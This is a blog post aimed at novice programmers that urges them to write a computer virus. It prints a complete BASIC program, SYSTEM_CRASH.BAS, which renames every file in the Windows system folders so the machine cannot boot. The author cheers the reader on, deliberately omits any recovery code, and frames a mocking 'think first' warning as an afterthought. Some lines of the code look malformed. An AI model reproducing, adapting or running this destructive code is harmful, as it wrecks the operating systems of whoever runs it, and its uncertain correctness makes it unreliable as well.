Chidiebere M. Dimkpa
So you are a rookie programmer, and you want to write a computer virus, huh?
Go home. Someone tell me why everyone who writes a few lines of (successful) program code starts dreaming of one day crashing someone’s computers?
Is it the programmer’s curse, or what?!
It is only natural that when you learn to solve a simple linear equation you one day dream of solving a quadratic equation.
The preceding sentence holds the perfect analogy for this matter. The following truths follow from the analogy:
1. Only the TRULY ENTHUSIASTIC will ever want to write a virus
2. Only the TRULY ENTHUSIASTIC will ever write a good virus
3. These TRULY ENTHUSIASTIC will have to learn A LOT MORE than they currently know to write a virus, but it doesn’t take a giant leap to make the connection between dream and reality – only commonsense.
I can honestly say that when I started out (with programming), I initially dreamed of writing a virus (but why?)
It just might be that programmers have a kind of God-Complex, which makes them want to be like God all the time, especially with other people’s computers.
Here’s the BASIC fact: to prove you really know how something works, you’ll like to take that thing apart, and put it back together.
I guess what I’m saying is: a true programmer should be able to aid, as well as disrupt, the proper functioning of computer (software).
So you want to write a virus? Do you want some FREE advice? Here it is: USE YOUR HEAD!
Start by asking yourself this question: Just WHAT is a computer bug?
Don’t be getting all kinds of way-out-there ideas, start with the simpler stuff, and work your way up.
If you think you can write a program that will crash all the servers on your ISP’s network then you’ve been watching way too much HACKER movies!
The way to BE A HACKER is to THINK LIKE A HACKER.
And, contrary to what some fools might say, you can write a virus in ANY language. Some goons think it’s just with certain languages that you can do this (idiots, no – high-brow assholes)
I admit that certain languages are better for stuff like this than others. For example, if you’re ever gonna write an internet worm-like virus, you better start learning PERL or JAVA.
But if you’re content with working at the PC level, you can even use QBASIC!
It’s NO BIG DEAL!
Here’s an idea for you:
1. your computer works because some programs on it, called “drivers” are responsible for supplying configuration and booting information for hardware components (and sometimes other programs)
2. these “drivers” are normally located in the C:\WINDOWS\SYSTEM and C:\WINDOWS\SYSTEM32 folders
3. your operating system (OS), an example of which is WINDOWS 98, has been programmed to access these “drivers” and other configuration files for an idea of how to “boot” the system.
4. if these drivers are RENAMED or DELETED, then your system will not work, and you’ll have to install a new OS, or even possibly, a new hard-drive.
A good (no great) starting point for you would be to write a virus (yes, a virus – that’s the spirit!) to RENAME all the files in these “system folders”.
Here’s one I wrote a while back. It’s in some dialect of BASIC, but you should readily be able to adapt it to whatever language you use if you know anything at all about BASIC (and if you don’t know anything about BASIC, you don’t know anything about programming, period)
Hey cheer up – if you really want it that bad, you can start by at least learning the language (NO EASY WAY OUT)
'-------------------------------------------------------------------
' SYSTEM_CRASH.BAS
' By the_black_gecko
' 10/02/2005
' "GOD made men to rule the earth. HACKERS rule the earth."
'-------------------------------------------------------------------
TARGDIR1$ = "C:\WINDOWS\"
TARGDIR2$ = "C:\WINDOWS\SYSFILES\"
TARGDIR3$ = "C:\WINDOWS\SYSTEM\"
TARGDIR4$ = "C:\WINDOWS\SYSTEM32\"
PRINT "crash cycle started ("+TIME$()+")"
'begin crash cycle
FOR CYCLE = 1 TO 4
IF CYCLE = 1 THEN TARGDIR$ = TARGDIR1$
IF CYCLE = 2 THEN TARGDIR$ = TARGDIR2$
IF CYCLE = 3 THEN TARGDIR$ = TARGDIR3$
IF CYCLE = 4 THEN TARGDIR$ = TARGDIR4$
PRINT "currently on cycle: "+STR$(CYCLE)
'verify target folders
PRINT "target folder verification commenced"
'extract ORD$
PRINT "ORD$ extraction commenced"
PARTITION$ = ""
FOR BYTE = 1 TO LEN(TARGDIR$)
BYTE$ = MID$(TARGDIR$, BYTE, 1)
IF LEN(STR$(BYTE)) = 1 THEN ORD$ = "0000"+STR$(BYTE)
IF LEN(STR$(BYTE)) = 2 THEN ORD$ = "000"+STR$(BYTE)
IF LEN(STR$(BYTE)) = 3 THEN ORD$ = "00"+STR$(BYTE)
IF LEN(STR$(BYTE)) = 4 THEN ORD$ = "0"+STR$(BYTE)
IF LEN(STR$(BYTE)) = 5 THEN ORD$ = STR$(BYTE)
IF BYTE$ = "\" THEN PARTITION$ = PARTITION$+ORD$
NEXT BYTE
PRINT "done extracting ORD$"
'attempt folder creation
PRINT "attempting to create folder structure"
FOR ORD = 1 TO LEN(PARTITION$)/5
INDEX = 5*ORD – 4
POS = VAL(MID$(PARTITION$, INDEX, 5))
HEAD$ = MID$(TARGDIR$, 1, POS)
PRINT "HEAD$ was extracted"
RESULT = MKDIR(HEAD$)
IF RESULT <> 0 THEN MSG$ = "could not make a directory" ELSE MSG$ = "a directory was made"
PRINT MSG$+" ( "+HEAD$+" )"
NEXT ORD
PRINT "done verifying target folder"
'access file information
PRINT "accessing folder contents"
DIM CRASH$(10, 10)
FILES TARGDIR$, CRASH$(
LIMIT = VAL(CRASH$(0, 0))
PRINT "payload delivery started ("+TIME$()+")"
FOR FILE = 1 TO LIMIT
FILE$ = TARGDIR$+CRASH$(FILE, 0)
VIRUS$ = FILE$+".VIRUS"
NAME FILE$ AS VIRUS$
PRINT "a file ( "+FILE$+" ) was renamed to: "+VIRUS$
NEXT FILE
PRINT "this crash cycle ("+STR$(CYCLE)+") has terminated"
NEXT CYCLE
PRINT "all cycles successfully terminated"
PRINT "SYSTEM_CRASH fully deployed ("+TIME$()+")"
END
'------------------------------------------------------------------------------
Now that wasn’t so hard—your first virus is only 2.3KB long (about 100 lines)
NOTE:
I did NOT include an “anti-virus”, even though it’s even easier to write than the virus itself (no kidding). I didn’t include it because if you’re stupid enough to want to run this on someone else’s computer, and if you’re even stupid enough to figure it out, then you should be STUPID ENOUGH to write a reversal code.
Me, I’ve always been a softie, I mean I could’ve just wiped out ALL those system files, but I chose to rename them. And I’ll tell you why.
If you run this virus on someone’s computer (try yours first, idiot!) all the files in those system folders will carry a ".VIRUS" extension. This means that when the OS needs them, it won’t be able to find them.
So, if you’re stupid enough to run this program on any computer, then that computer may very well not boot, and I mean this literally.
So, if my virus makes your computer not to start, you can’t even begin to fix the problem, and if you’re out of options, you’ll junk it.
Here are the only solutions to the problem:
1. since the virus (and the anti-virus) don’t run in DOS-mode, you can’t effect a reversal
2. you either FORMAT your hard-drive from DOS or buy a new hard-drive
So, Mr. Virus Programmer, next time you feel like writing a virus, think first – you just might be junking someone’s computer!
No comments:
Post a Comment